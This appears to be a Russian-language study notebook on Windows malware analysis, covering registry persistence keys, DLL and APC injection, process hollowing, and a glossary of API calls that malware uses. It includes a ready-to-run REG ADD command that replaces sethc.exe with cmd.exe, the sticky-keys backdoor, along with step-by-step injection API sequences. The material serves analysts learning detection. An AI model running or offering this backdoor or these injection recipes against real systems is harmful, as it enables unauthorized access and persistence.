HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

Таким же образом userinit.exe обращается к следующему значению реестра, чтобы запустить оболочку пользователя по умолчанию. По умолчанию это значение установлено в explorer.exe. Злоумышленник может изменить или добавить еще одну запись, содержащую имя вредоносного исполняемого файла, который затем будет запущен userinit.exe:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

[Параметры выполнения файла изображения]

Параметры выполнения файла изображения (Image File Execution Options - IFEO) позволяют запускать исполняемый файл прямо под отладчиком. Это дает разработчику возможность отладки своего программного обеспечения для исследования проблем в коде запуска исполняемого файла. Разработчик может создать подраздел с именем своего исполняемого файла в следующем разделе реестра и задать в качестве значения отладчика путь к отладчику:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable name>

(Можно изменить путь к запускаемому приложению, например когда пользователь запускает калькулятор у него будет запускаться paint)

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

Позволяет изменить "залипание клавиш" на cmd.exe

[Методы внедрения кода]

Как упоминалось ранее, цель метода внедрения кода состоит в том, чтобы внедрить код в память удаленного процесса и выполнить внедренный код в контексте удаленного процесса. Внедренный код может быть модулем, таким как исполняемый файл, DLL или даже шелл-код. Методы внедрения кода дают злоумышленникам множество преимуществ; как только код введен в удаленный процесс, злоумышленник может сделать следующее:
-вынудить удаленный процесс выполнить внедренный код для выполнения злонамеренных действий (таких как загрузка дополнительных файлов или кейлоггинг);
-внедрить вредоносный модуль (например, DLL) и перенаправить APIвызов, выполненный удаленным процессом, на вредоносную функцию во внедренном модуле. Затем вредоносная функция может перехватывать входные параметры API-вызова, а также фильтровать выходные параметры. Например, Internet Explorer использует HttpSendRequest() для отправки запроса, содержащего полезную нагрузку POST, на веб-сервер, и использует InternetReadFile(), чтобы извлечь байты из ответа сервера и отобразить его в браузере.

Удаленное внедрение DLL

В этом методе целевой (удаленный) процесс принудительно загружает вредоносную DLL-библиотеку в пространство памяти процесса через API LoadLibrary(). Kernel32.dll экспортирует LoadLibrary(), и эта функция принимает один аргумент, который является путем к DLL на диске, и загружает эту DLL в адресное пространство вызывающего процесса. Как только целевой процесс загружает вредоносную DLL, операционная система автоматически вызывает функцию DLL DllMain(), таким образом выполняя вредоносный код.

API:
DllMain()
LoadLibrary()
OpenProcess()
VirutualAllocEx()
WriteProcessMemory()
GetProcessAddress()
CreateRemoteThread() or NtCreateThreadEx()
VirtualFree()
CloseHandle()

Внедрение DLL с использованием асинхронного вызова процедур

Метод внедрения APC работает так: вредоносный процесс идентифицирует поток в целевом процессе (процесс, в который будет внедрен код), который находится в состоянии оповещения или может перейти в состояние оповещения. Затем он помещает пользовательский код в очередь APC этого потока с помощью функции QueueUserAPC(). Идея постановки в очередь пользовательского кода заключается в том, что когда поток входит в состояние оповещения, пользовательский код выбирается из очереди APC и выполняется потоком целевого процесса.
Следующие шаги описывают пример вредоносного ПО, использующего внедрение APC для загрузки вредоносной библиотеки DLL в процесс Internet Explorer (iexplore.exe). Этот метод начинается с тех же четырех шагов, что и удаленное внедрение DLL (другими словами, он открывает дескриптор iexplore.exe, выделяет память в целевом процессе, копирует вредоносный путь к DLL в выделенную память и определяет адрес Loadlibrary()). Затем идут шаги, которые нужно предпринять, чтобы заставить удаленный поток загрузить вредоносную DLL.

API:
OpenThread()
QueueUserAPC()
LoadLibrary()
DLLMain()

Внедрение DLL с использованием SetWindowsHookEx() (хз, не понял)

Внедрение DLL с использованием прокладок

Прокладка - ПО встраиваемое в другое ПО, позволяющее убрать проблемы совместимость между разными версиями ОС (например WinXP и Win7)

[Популярные функции которое использует вредоносное ПО]

Выявив функции, которые играют самую важную роль в определенном участке вредоносного кода, вы должны будете их проанализировать в дизассемблированном виде. И чтобы понять назначение каждого их аргумента, вам потребуется обратиться к официальной документации.
В этом приложении представлен выборочный список функций. Мы опускаем вызовы, чье назначение понятно из их названия, например ReadFile или DeleteFile.

#accept.
Используется для отслеживания входящих соединений. Эта функция говорит о том, что у программы есть сокет, к которому должны подключаться извне.

AdjustTokenPrivileges. Применяется для включения или выключения специальных привилегий, связанных с правами доступа. Вредоносное ПО, которое внедряется в процесс, часто использует эти функции для получения дополнительных прав.

#AttachThreadInput.
Прикрепляет прием входящих данных одного потока к другому, чтобы второй поток мог получать события ввода с клавиатуры и мыши. Эту функцию используют кейлогеры и другие шпионские программы.

#bind.
Используется для привязки локального адреса к сокету, чтобы отслеживать входящие соединения.

#BitBlt.
Применяется для копирования графических данных с одного устройства на другое. Иногда применяется в шпионском ПО для создания снимков экрана. Эта функция часто добавляется компилятором вместе с другим библиотечным кодом.

#CallNextHookEx.
Применяется внутри кода, который перехватывает событие, зарегистрированное с помощью SetWindowsHookEx. CallNextHookEx вызывает следующий перехватчик в цепочке. Чтобы понять назначение перехватчика, установленного посредством SetWindowsHookEx, проанализируйте функцию, которая вызывает CallNextHookEx.

#CertOpenSystemStore.
Используется для доступа к сертификатам, хранящимся в локальной системе.

#CheckRemoteDebuggerPresent.
Проверяет, отлаживается ли заданный (или текущий) процесс. Иногда эта функция является частью мер для противодействия отладке.

#CoCreateInstance.
Создает COM-объект. COM-объекты предоставляют широкий
набор возможностей. По идентификатору класса (CLSID) можно определить,
в каком файле находится код реализации COM-объекта. Подробное описание
этой технологии дается в главе 7.

#connect.
Используется для подключения к удаленному сокету. Для соединения с управляющим сервером вредоносное ПО часто прибегает к низкоуровневым функциям.

#ConnectNamedPipe.
Создает серверный канал для межпроцессного взаимодействия и ждет подключения со стороны клиентского канала. Бэкдоры и командные оболочки с обратным входом иногда используют ConnectNamedPipe для упрощения связи с управляющим сервером.

#ControlService.
Применяется для запуска, остановки и изменения активной службы, а также для передачи ей сигналов. Если у вредоноса есть собственная служба, вы должны проанализировать код, который ее реализует, чтобы определить назначение данного вызова.

#CreateFile.
Эта функция используется для открытия существующих и создания новых файлов. Кроме того, она способна открывать каналы, потоки и устройства ввода/вывода. Параметр dwCreationDisposition определяет, будет ли файл открыт или создан заново

#ReadFile и WriteFile.
Эти функции используются для чтения и записи файлов. Обе они работают в поточном режиме. При первом вызове ReadFile из файла считывается несколько байтов; при следующем вызове будут прочитаны байты, которые следуют дальше. Например, если открыть файл и вызвать ReadFile размером 40, следующий вызов начнет чтение с 41-го байта. Но, как вы можете догадаться, ни одна из этих функций не позволяет легко перемещаться по файлу.

#CreateFileMapping.
Связывает дескриптор с файлом, что позволяет загрузить этот файл в память и обращаться к нему по адресу. Эта функция используется для чтения и модификации PE-файлов в программах запуска, загрузчиках и внедряемом коде.

CreateFileMapping и MapViewOfFile. Отображение файлов часто используется авторами вредоносного ПО, так как оно позволяет легко манипулировать файлами, предварительно загружая их в память. Функция CreateFileMapping загружает файл с диска в RAM.

#CreateMutex.
Создает объект взаимного исключения, который позволяет запускать в системе только один экземпляр вредоносной программы. Вредоносы часто дают мьютексам фиксированные имена, что может послужить хорошим локальным индикатором для обнаружения зараженного кода на других компьютерах.

#CreateProcess.
Создает и запускает новый процесс. Этот процесс тоже должен быть проанализирован, если он создается вредоносной программой.

#CreateRemoteThread.
Применяется для запуска потока во внешнем процессе (в любом, который не является вызывающим). Функция CreateRemoteThread используется в пусковых программах и маскирующихся вредоносах для внедрения кода в другой процесс.

#CreateService.
Создает службу, которая может запускаться вместе с системой. Используется во вредоносном ПО для обеспечения постоянного присутствия, маскировки и загрузки драйверов.

#CreateToolhelp32Snapshot.
Создает снимок процесса, кучи, потока или модуля. Вредоносные программы часто задействуют эту функцию для циклического перебора процессов и потоков.

#CryptAcquireContext.
Именно эта функция в основном выбирается вредоносами для запуска процедуры шифрования в Windows. Существует множество других криптографических функций, большинство из которых имеют префикс Crypt.

#DeviceIoControl.
Передает управляющее сообщение из пользовательского пространства, направленное драйверу устройства. DeviceIoControl часто применяется в зараженных модулях ядра в качестве простого и гибкого средства для обмена информацией между ядром и пользовательским пространством.

#DllCanUnloadNow.
Экспортная функция, свидетельствующая о том, что программа реализует COM-сервер.

#DllGetClassObject.
Экспортная функция, которая свидетельствует о том, что программа реализует COM-сервер.

#DllInstall.
Экспортная функция, свидетельствующая о том, что программа реализует COM-сервер.

#DllRegisterServer.
Экспортная функция, которая свидетельствует о том, что программа реализует COM-сервер.

#DllUnregisterServer.
Экспортная функция, свидетельствующая о том, что программа реализует COM-сервер.

#EnableExecuteProtectionSupport.
Недокументированная API-функция, которая используется для изменения параметров защиты от выполнения данных (data execution protection, DEP) в локальной системе с целью сделать ее менее устойчивой к атакам.

#EnumProcesses.
Применяется для перечисления процессов, запущенных в системе. Часто применяется во вредоносном ПО для поиска процесса, в который можно внедриться.

#EnumProcessModules.
Используется для перечисления загруженных компонентов (исполняемых файлов или DLL) заданного процесса. Вредоносное ПО с ее помощью перебирает модули во время внедрения кода.

#FindFirstFile/FindNextFile.
Используется для поиска по каталогу и обхода файловой системы.

#FindResource.
Ищет ресурсы в исполняемых файлах или загруженных библиотеках. Иногда вредоносное ПО хранит в ресурсах строки, конфигурационные Приложение A. Важные функции Windows??485
данные и другие зараженные файлы. Если вы встретите эту функцию, проверьте раздел .rsrc в PE-заголовке вредоноса.

#FindWindow.
Ищет открытые окна на рабочем столе. Иногда эта функция используется в качестве антиотладочной методики для поиска окон OllyDbg.

#FtpPutFile.
Высокоуровневая функция для загрузки файлов на удаленные FTPсерверы.

#GetAdaptersInfo.
Применяется для получения информации о локальном сетевом адаптере. Эта функция часто применяется в бэкдорах для сбора сведений о зараженной системе. Иногда в ходе противодействия виртуальным машинам с ее помощью извлекаются MAC-адреса, чтобы проверить наличие VMware.

#GetAsyncKeyState.
Определяет, нажата ли конкретная клавиша. Иногда вредоносное ПО использует эту функцию для реализации кейлогера.

#GetDC.
Возвращает дескриптор контекста устройства для окна или всего рабочего стола. Часто используется в шпионском ПО, которое делает снимки экрана.

#GetForegroundWindow.
Возвращает дескриптор текущего активного окна. Эта функция часто помогает кейлогерам определить, в каком окне пользователь вводит текст.

#gethostbyname.
Ищет DNS-запись для заданного доменного имени, после чего устанавливает IP-соединение с удаленным узлом. Узлы, играющие роль командных серверов, часто подходят для создания хорошей сетевой сигнатуры.

#gethostname.
Извлекает сетевое имя компьютера. Бэкдоры иногда используют gethostname в ходе сбора информации о компьютере жертвы.

#GetKeyState.
Используется кейлогерами для получения состояния конкретной клавиши на клавиатуре.

#GetModuleFilename.
Возвращает имя файла с модулем, загруженным в текущий процесс. Вредоносное ПО может использовать эту функцию для изменения или копирования файлов в текущем процессе.

#GetModuleHandle.
Используется для получения дескриптора уже загруженного модуля. С помощью этой функции вредоносное ПО может находить и модифицировать код загруженных модулей или искать подходящее место для внедрения.

#GetProcAddress.
Извлекает адрес функции из DLL, загруженной в память. Применяется для импорта функций из других библиотек (в дополнение к тем, что импортируются в PE-заголовке).

#GetStartupInfo.
Извлекает структуру, содержащую сведения о конфигурации запуска текущего процесса — например, куда направлены стандартные дескрипторы.

#GetSystemDefaultLangId.
Возвращает языковые настройки, которые используются в системе по умолчанию. Может помочь откорректировать отображаемые строки и имена файлов, которые ищутся при сборе информации о зараженном компьютере. Применяется также в «патриотичном» вредоносном ПО, которое атакует только системы из определенных регионов.

#GetSystemDirectory.
Получает путь к системной директории. Системный каталог содержит системные файлы, такие как динамически подключаемые библиотеки

#GetTempPath.
Возвращает временный путь к файлу. Если вы видите, что вредоносный код вызывает эту функцию, проверьте, выполняет ли он запись или чтение каких-либо файлов во временном каталоге.

#GetThreadContext.
Возвращает структуру контекста заданного потока. Контекст потока хранит всю информацию о нем, включая значения регистров и текущее состояние.

#GetTickCount.
Получает количество миллисекунд, прошедших с момента загрузки системы. Эта функция иногда используется для сбора временно' й информации в рамках антиотладочных методик. Она часто добавляется компилятором и присутствует во многих исполняемых файлах, поэтому сам факт ее наличия среди функций импорта мало о чем говорит.

#GetVersionEx.
Возвращает сведения о текущей версии Windows. Может использоваться в ходе сбора информации о компьютере жертвы или для выбора подходящих сдвигов для недокументированных структур, которые отличаются в разных версиях системы.

#GetWindowsDirectory.
Возвращает путь к каталогу Windows (обычно C:\Windows). Иногда с помощью этого вызова вредоносное ПО определяет, в какой каталог устанавливать дополнительные зараженные программы.

#inet_addr.
Переводит строку с IP-адресом вида 127.0.0.1 в формат, который можно использовать в таких функциях, как connect. Заданная строка может подойти для создания сетевой сигнатуры.

#InternetOpen.
Инициализирует высокоуровневые функции доступа к Интернету из модуля WinINet, такие как InternetOpenUrl и InternetReadFile. Используется для инициализации интернет-соединения

#InternetOpen
может указывать на начало участка кода, связанного с интернет взаимодействием. Одним из аргументов этого вызова является поле User-Agent, которое может послужить хорошей сетевой сигнатурой.

#InternetOpenUrl.
Открывает соединение с определенным URL-адресом по протоколу FTP, HTTP или HTTPS. Фиксированные адреса могут оказаться хорошими сетевыми сигнатурами.

#InternetReadFile.
Считывает данные из предварительно открытого URL-адреса.

#InternetWriteFile.
Записывает данные по предварительно открытому URLадресу.

#Сетевые функции сокетов

socket	Создает сокет
bind	Подключает сокет к определенному порту, прежде чем принимать вызов
listen	Сигнализирует о том, что сокет будет ожидать входящие соединения
accept	Подключается к удаленному сокету и принимает соединение
connect	Открывает соединение с удаленным сокетом; удаленный сокет должен ожидать подключения
recv	Принимает данные от удаленного сокета
send	Отправляет данные удаленному сокету

Рядом с функцией connect (подключение к хосту) обычно находится номер порта в 16-виде, возможно этот параметр называется htons.

Если вы имеете дело с клиентским приложением, которое подключается к удаленному сокету, вслед за функцией socket должен последовать вызов connect, а потом, в случае необходимости, send и recv. Если речь идет о службе, которая отслеживает входящие соединения, порядок вызова функций будет таким: socket, bind, listen и accept (дальше могут последовать send и recv, если это необходимо). Такой принцип работы свойственен как вредоносным, так и обычным программам.

#IsDebuggerPresent.
Проверяет, отлаживается ли текущий процесс, и часто является одним из средств антиотладки. Во многих случаях эта функция добавляется
компилятором, поэтому сам факт ее наличия в таблице импорта исполняемого
файла мало о чем говорит.

#IsNTAdmin.

Проверяет, обладает ли пользователь правами администратора.

#IsWoW64Process.
Тридцатидвухбитные процессы используют эту функцию для определения того, работают ли они в 64-битной операционной системе.

#LdrLoadDll.
Низкоуровневая функция для загрузки динамической библиотеки в процесс. Обычные программы используют для этой цели LoadLibrary, поэтому наличие данной функции может говорить о том, что программа пытается скрыть свою активность.

#LoadLibrary.
Загружает в процесс библиотеку, которая могла не загрузиться при запуске приложения. Импортируется практически любой программой формата Win32.

#LoadResource.
Загружает в память ресурс из PE-файла. Вредоносное ПО иногда использует ресурсы для хранения строк, конфигурационных данных и других зараженных файлов.

#LsaEnumerateLogonSessions.
Перебирает пользовательские сессии в текущей системе и может участвовать в хищении учетных данных.

#MapViewOfFile.
Отображает файл на память и делает его содержимое доступным по соответствующим адресам. Программы запуска, загрузчики и средства внедрения используют эту функцию для чтения и модификации PE-файлов. Благодаря MapViewOfFile вредоносное ПО может не прибегать к вызову WriteFile для редактирования содержимого файлов. MapViewOfFile возвращает указатель на начальный адрес отображения, который можно использовать для доступа к отображенному файлу. С помощью этих функций и указателя программа может выполнять чтение и запись в любом месте файла. Эта возможность чрезвычайно полезна для определения файловых форматов, так как она позволяет легко переходить по разным адресам в памяти.

#MapVirtualKey.
Переводит код виртуальной клавиши в символьное значение. Часто используется кейлогерами.

#MmGetSystemRoutineAddress.
Этот вызов похож на GetProcAddress, но используется в коде ядра. Он извлекает адрес функции из других модулей, но этими модулями могут быть только ntoskrnl.exe и hal.dll.

#Module32First/Module32Next.
Перечисляет все модули, загруженные в процесс. С помощью этой функции вредонос определяет, куда внедрить код.

#NetScheduleJobAdd.
Создает запрос, в результате которого определенная программа должна запуститься в указанные день и время. Может использоваться для запуска различных программ. Как аналитик безопасности вы должны искать и анализировать приложения, выполнение которых запланировано на будущее.

#NetShareEnum.
Перечисляет общие сетевые папки.

#NtQueryDirectoryFile.
Возвращает информацию о файлах в каталоге. Руткиты часто перехватывают эту функцию для скрытия файлов.

#NtQueryInformationProcess.
Возвращает различные сведения о заданном процессе. Эта функция иногда используется для антиотладки, так как она может
возвращать ту же информацию, что и CheckRemoteDebuggerPresent.

#NtSetInformationProcess.
Может использоваться, чтобы изменять уровень привилегий программы или обходить систему предотвращения выполнения данных (DEP).

#OleInitialize.
Инициализирует библиотеку COM. Программа, использующая COM-объекты, должна вызвать OleInitialize, прежде чем обращаться к любой другой COM-функции.

#OpenMutex.
Открывает дескриптор объекта взаимного исключения, который позволяет запускать в системе только один экземпляр вредоносной программы. Вредоносы часто дают мьютексам фиксированные имена, что может послужить хорошим локальным индикатором.

#OpenProcess.
Открывает дескриптор другого процесса, запущенного в системе. С помощью этого дескриптора можно читать и записывать память внешних процессов или внедрять в них свой код.

#OpenSCManager.
Открывает дескриптор диспетчера служб. Любая программа, которая устанавливает, модифицирует или контролирует службы, должна предварительно вызвать эту функцию.

#OutputDebugString.
Выводит строку в отладчик, если тот подключен. Может использоваться в качестве антиотладочной методики.

#PeekNamedPipe.
Применяется для копирования именованных каналов без удаления их содержимого. Эта функция часто встречается в командных оболочках с обратным входом.

#Process32First/Process32Next.
Используется для перечисления процессов, начиная с предыдущего вызова и заканчивая CreateToolhelp32Snapshot. Часто применяется во вредоносном ПО для поиска процесса, в который можно внедриться.

#QueryPerformanceCounter.
Извлекает значение аппаратного счетчика производительности. Иногда эта функция используется для сбора временной информации как одна из антиотладочных мер. Она часто добавляется компиляторами и присутствует во многих исполняемых файлах, поэтому сам факт ее наличия в таблице импорта мало о чем говорит. QueueUserAPC. Используется для выполнения кода в другом потоке. Иногда с помощью этой функции производится внедрение во внешний процесс.

#ReadProcessMemory.
Считывает память внешнего процесса.

#recv.

Принимает данные от удаленного компьютера. Вредоносное ПО часто использует эту функцию для получения информации от управляющего сервера.

#RegisterHotKey.
Регистрирует обработчик, который будет срабатывать при нажатии определенного сочетания клавиш (например, Ctrl+Alt+J), вне зависимости от того, какое окно в этот момент является активным. Эта функция иногда используется в шпионских программах, которые остаются скрытыми от пользователя, пока тот не нажмет подходящую комбинацию клавиш.

#RegOpenKey.
Открывает дескриптор для чтения и редактирования ключа реестра. Ключи реестра иногда используются для обеспечения постоянного присутствия в системе. В реестре также можно найти конфигурационные данные самой системы и обычных приложений.

#RegSetValueEx.
Добавляет в реестр новый параметр и устанавливает для него значение.

#RegGetValue.
Возвращает содержимое параметра реестра

#ResumeThread.
Возобновляет работу ранее приостановленного потока. Используется в нескольких методиках для внедрения кода.

#RtlCreateRegistryKey.
Позволяет создавать ключи реестра в режиме ядра.

#RtlWriteRegistryValue.
Позволяет записывать значения в реестр, находясь в режиме ядра.

#SamIConnect.
Подключается к диспетчеру учетных записей безопасности (SAM) для выполнения будущих вызовов, которые будут обращаться к учетным данным. Программы для сброса хешей извлекают из базы данных SAM пароли входа в систему в захешированном виде.

#SamIGetPrivateData.
Запрашивает из базы данных SAM личную информацию определенного пользователя. Программы для сброса хешей используют этот вызов для извлечения паролей входа в систему в захешированном виде.

#SamQueryInformationUse.
Запрашивает из базы данных SAM информацию об определенном пользователе. Программы для сброса хешей используют этот вызов для извлечения паролей входа в систему в захешированном виде.

#send.
Передает данные удаленному компьютеру. Вредоносное ПО часто использует эту функцию для отправки данных удаленному управляющему серверу.

#SetFileTime.
Модифицирует время и дату создания, чтения или последнего изменения файла. Вредоносное ПО часто использует эту функцию для скрытия своей активности.

#SetThreadContext.
Модифицирует контекст заданного потока. Может использоваться в некоторых методиках для внедрения кода.

#SetWindowsHookEx.
Устанавливает перехватчик, который срабатывает при возникновении определенного события. Обычно используется в кейлогерах и шпионском ПО, предоставляя простой способ загрузки DLL в процессы с графическим интерфейсом. Иногда эта функция добавляется компилятором.

#SfcTerminateWatcherThread.
Используется для отключения защиты файлов в Windows. Это позволяет редактировать файлы, которые иначе нельзя было бы изменить. С этой же целью может использоваться вызов SfcFileException.

#ShellExecute.
Запускает внешнюю программу. Если вредоносная программа создает новый процесс, вы должны его проанализировать.

#StartService.
Запускает службу и используется только в случае, если был выбран ручной запуск.

#StartServiceCtrlDispatcher.
Применяется службами для подключения главного потока процесса к диспетчеру служб. Любой процесс, который выполняется в качестве службы, должен вызвать эту функцию в первые 30 секунд своей работы. Наличие этой функции во вредоносном ПО говорит о том, что оно должно запускаться в виде службы.

#SuspendThread.
Приостанавливает работу потока. Вредоносное ПО иногда останавливает потоки, чтобы их модифицировать или внедрить в них свой код.

#system.
Функция для запуска других программ. Входит в состав стандартной библиотеки некоторых версий языка C. В Windows эта функция является оберткой вокруг вызова CreateProcess.

#Thread32First/Thread32Next.
Позволяет перебирать потоки процесса. С помощью этой функции вредоносные программы ищут подходящий поток для внедрения кода.

#Toolhelp32ReadProcessMemory.
Используется для чтения памяти внешнего процесса.

#URLDownloadToFile.
Высокоуровневый вызов для загрузки файла с веб-сервера и сохранения его на диск. Эту функцию часто можно встретить в программах, загружающих вредоносные компоненты, поскольку в ней реализовано все, что нужно сетевому загрузчику.

#VirtualAllocEx.
Операция выделения памяти во внешнем процессе. Вредоносное ПО иногда использует ее для внедрения в процесс.

#VirtualProtectEx.
Меняет тип защиты участка памяти. С помощью этой функции вредоносное ПО делает исполняемыми участки, предназначенные только для чтения.

#WideCharToMultiByte.

Переводит строку из Unicode в ASCII.

#WinExec.
Используется для выполнения другой программы. Новый процесс, который создает вредоносная программа, тоже следует проанализировать.

#WlxLoggedOnSAS (и другие функции вида Wlx*).
Если DLL играет роль модуля аутентификации, она должна экспортировать эту функцию. Вредоносная программа, экспортирующая множество функций вида Wlx*, скорее всего, занимается
подменой механизма графической идентификации и аутентификации (GINA), как это было показано в главе 11.

#Wow64DisableWow64FsRedirection.
Отключает перенаправление файлов, которое происходит с 32-битными программами, запущенными в 64-битной системе. Если 32-битное приложение записывает в C:\Windows\System32, итоговый результат будет сохранен именно в этом каталоге, а не в C:\Windows\SysWOW64.

#WriteProcessMemory.
Записывает данные во внешний процесс. Используется для внедрения в процессы.

#WSAStartup.
Инициализирует низкоуровневые сетевые возможности. Поиск вызовов этой функции может помочь обнаружить начало кода, предназначенного для работы с сетью.

#MessageBox(User32).
Отображает окно сообщения (диалоговое окно) с текстом для пользователя.

[Популярные DLL]

Kernel32.dll # Очень распространенный DLL-файл, содержащий базовые функции: доступ и управление памятью, файлами и устройствами
Advapi32.dll # Обеспечивает доступ к ключевым компонентам Windows, таким как Диспетчер служб и Реестр
User32.dll # Содержит компоненты пользовательского интерфейса, такие как кнопки, полосы прокрутки и элементы для взаимодействия с пользователем
Shell32.dll # Позволяет запускать другие программы
Gdi32.dll # В этом файле находятся функции для выполнения графических операций и графического вывода
Ntdll.dll # Интерфейс к ядру Windows. Исполняемые файлы обычно не импортируют его напрямую, но он всегда импортируется внутри Kernel32.dll. Если он импортирован напрямую, это означает, что автор программы намеревается использовать возможности, не свойственные обычным приложениям Windows. Этот интерфейс применяется для таких задач, как скрытие функциональности или манипуляция процессами
WSock32.dll и Ws2_32.dll # Это сетевые DLL. Программа, которая обращается к этим файлам, скорее всего, подключается к сети или выполняет какие-то сетевые задачи
Wininet.dll # Этот файл содержит высокоуровневые сетевые функции, реализующие такие протоколы, как FTP, HTTP и NTP

Вредонос прописывает себя в ключе реестра AppInit_DLLs, благодаря чему он загружается внутри любого процесса, который использует модуль User32.dll.Вредоносное ПО, которое обеспечивает свое постоянное присутствие с помощью AppInit_DLLs, часто использует вызов GetModuleFileNameA. Эта зараженная библиотека загружается в каждый процесс, запускаемый в системе. Но, поскольку злоумышленников обычно интересует какая-то определенная программа, им приходится узнавать имя процесса, в котором выполняется их код.

[Потоки]

Помимо кода, который вызывает CreateThread, вам необходимо также проанализировать функцию start. Вызывающий код может указать функцию начала потока и аргумент, который будет ей передан. Это может быть любое значение в зависимости от функции start.
Вредоносное ПО может использовать вызов CreateThread несколькими способами.

#1.
С помощью CreateThread можно загрузить в процесс новую зараженную библиотеку, если в качестве начального адреса указать местоположение LoadLibrary. В этом случае в CreateThread в качестве аргумента передается название библиотеки, которую нужно загрузить. Новый DLL-файл загрузится в память процесса, после чего будет вызвана функция DllMain.
#2.
Вредонос может создать два новых потока для ввода и вывода: один будет прослушивать сокет или канал, направляя результат в стандартный ввод процесса, а другой — считывать стандартный вывод и отправлять его в сокет или канал. Целью вредоноса будет передача всей информации в единый сокет или канал, что позволит ему легко взаимодействовать с запущенным приложением.

[Мьютекс]

Мьютексы в основном используются для управления доступом к общим ресурсам, что делает их привлекательными для авторов вредоносного ПО. Например, если два потока должны обращаться к одной и той же структуре, но не одновременно, мьютекс может обеспечить безопасный доступ. В один момент времени мьютексом может владеть только один поток. Этот механизм имеет большое значение при анализе безопасности, поскольку мьютексам часто назначаются фиксированные имена, которые могут служить хорошими локальными индикаторами. Использование фиксированных имен является нормальной практикой, потому что это позволяет достичь согласованности, когда мьютекс является единственным средством взаимодействия между двумя процессами. Чтобы получить доступ к мьютексу, поток использует вызов WaitForSingleObject, при этом любой другой поток, пытающийся к нему обратиться, должен ждать своей очереди. Закончив использовать мьютекс, поток вызывает функцию ReleaseMutex. Мьютекс можно создать с помощью функции CreateMutex. Чтобы получить дескриптор мьютекса, принадлежащего другому процессу, используется вызов OpenMutex. Вредоносные программы часто создают новый мьютекс и затем пытаются вызвать OpenMutex с тем же именем — таким образом они гарантируют, что в системе запущен лишь один их экземпляр.
Рядом с инизациализацией мьютекса указывает его имя. Это имя можно использовать как сигнатуру поиска.

NtCreateFile и NtWriteFile - работают так же, как и обычные, но используются они в пространстве ядра. (драйвера, руткиты)

Заметьте, что в качестве параметра типа dwService используется значение 0x01(1). Это признак того, что данный код является драйвером.

DeviceIoControl - отправка данных драйверу

NtQueryDirectoryFile функция которая занимается извлечением разнообразной информации о файлах и каталогах. Дальше эта информация передается в вызовы FindFirstFile и FindNextFile для обхода файловой системы. Эта же функция используется Проводником для отображения содержимого каталогов. Если руткит ее перехватывает, он может скрывать файлы.(возможный сценарий)

IoGetCurrentProcess - о драйвер модифицирует активный процесс либо запрашивает информацию о нем

DeviceIoControl - имеет возможность модифицироватьт структуру EPROCESS, благодаря чему , процесс не будет отображаться в диспетчере задач.

[Динамический анализ]

До того как данные будут переданы в функцию шифрования, есть возможность перехватить передаваемые данные через отладчик, поставив точку останову на функции шифрования.

[COM-объекты]

Для того чтобы узнать какие программы используются, необходимо перейти к переменным rclsid и riid.

В полях data1-data4 отображены их значения. Их можно найти в реестре или же в интернете. (Вскрытие, стр. 546)

[[ВНЕДРЕНИЕ В ПРОЦЕСС]]

В Windows для внедрения в процесс обычно используются определенные
API-вызовы. Например, с помощью функции VirtualAllocEx можно выделить пространство в памяти внешнего процесса, а функция WriteProcessMemory позволяет
записать туда данные. Эта связка является ключевой для первых трех методик
скрытого запуска, о которых пойдет речь в текущей главе.

[Внедрение DLL]

Чтобы внедрить DLL в локальную программу, загрузчик сначала должен заполучить ее дескриптор. Для поиска подходящего процесса, в который можно внедриться, обычно используются функции CreateToolhelp32Snapshot, Process32First
и Process32Next из Windows API. Найдя процесс, загрузчик извлекает его идентификатор (process identifier, PID) и передает его в вызов OpenProcess, который вернет
его дескриптор.

Последовательный вызов цепочки Windows API:

OpenProcess
VirtualAllocEx
WriteProcessMemory
GetModuleHandle
GetProcAddress

Обнаружив процедуру внедрения DLL в дизассемблированном коде, нужно отыскать строки с именами вредоносных библиотек и заражаемого процесса. Имя атакуемого процесса часто можно найти в функции strncmp (или ее аналоге) на этапе, когда загрузчик определяет соответствующий PID

[Прямое внедрение]

Прямое внедрение, как и внедрение DLL, подразумевает выделение и вставку кода
в адресное пространство внешнего процесса. В нем используется похожий набор
вызовов Windows API. Разница состоит в том, что вместо создания отдельной DLL
и принуждения процесса ее загрузить вредоносный код вставляется непосредственно в сам процесс.

При прямом внедрении обычно встречаются три функции: VirtualAllocEx, WriteProcessMemory и CreateRemoteThread. Как правило, выполняется два вызова — VirtualAllocEx иWriteProcessMemory. Первый выделяет и записывает данные, которые нужны внешнему потоку выполнения, а второй выделяет и записывает сам код потока. Вызов CreateRemoteThread будет содержать местоположение кода внешнего потока (lpStartAddress) и его параметр (lpParameter).

[Подмена процесса]

Вместо того чтобы вставлять код в атакуемый процесс, некоторые вредоносы используют прием под названием «подмена процесса» — перезапись адресного пространства
активного процесса с помощью зараженного исполняемого файла. Злоумышленники
используют этот подход, когда хотят замаскировать вредоносный код под обычную
программу, не рискуя обрушить процесс из-за внедрения в него.
Ключевым аспектом данной методики является создание процесса в приостановленном состоянии, то есть процесса, который загружается в память, но ничего не делает, так как его главный поток не выполняется. Такая программа будет бездействовать, пока кто-то извне не запустит ее главный поток.
Автор вредоносного ПО приостанавливает процесс, передавая значение CREATE_SUSPENDED (0x4) в качестве аргумента dwCreationFlags для вызова CreateProcess.
Закончив с приготовлениями, следует записать в адресное пространство заражаемого процесса вредоносный исполняемый файл. Обычно для этого используется
функция ZwUnmapViewOfSection, освобождающая весь участок памяти, на который указывает переданный ей аргумент. Вслед за этим загрузчик выполняет операцию VirtualAllocEx, чтобы выделить новое адресное пространство для вредоносного кода, и вызывает WriteProcessMemory, чтобы записать туда каждый раздел вредоноса; обычно это делается в цикле
На завершающем этапе вредонос восстанавливает среду атакуемого процесса и связывает точку входа с вредоносным кодом, используя вызов SetThreadContext. В конце вызывает ResumeThread, чтобы вредонос, подменивший обычный процесс, смог начать свою работу.

[Антидизассемблирование]

Инструкции перехода с одинаковыми операндами

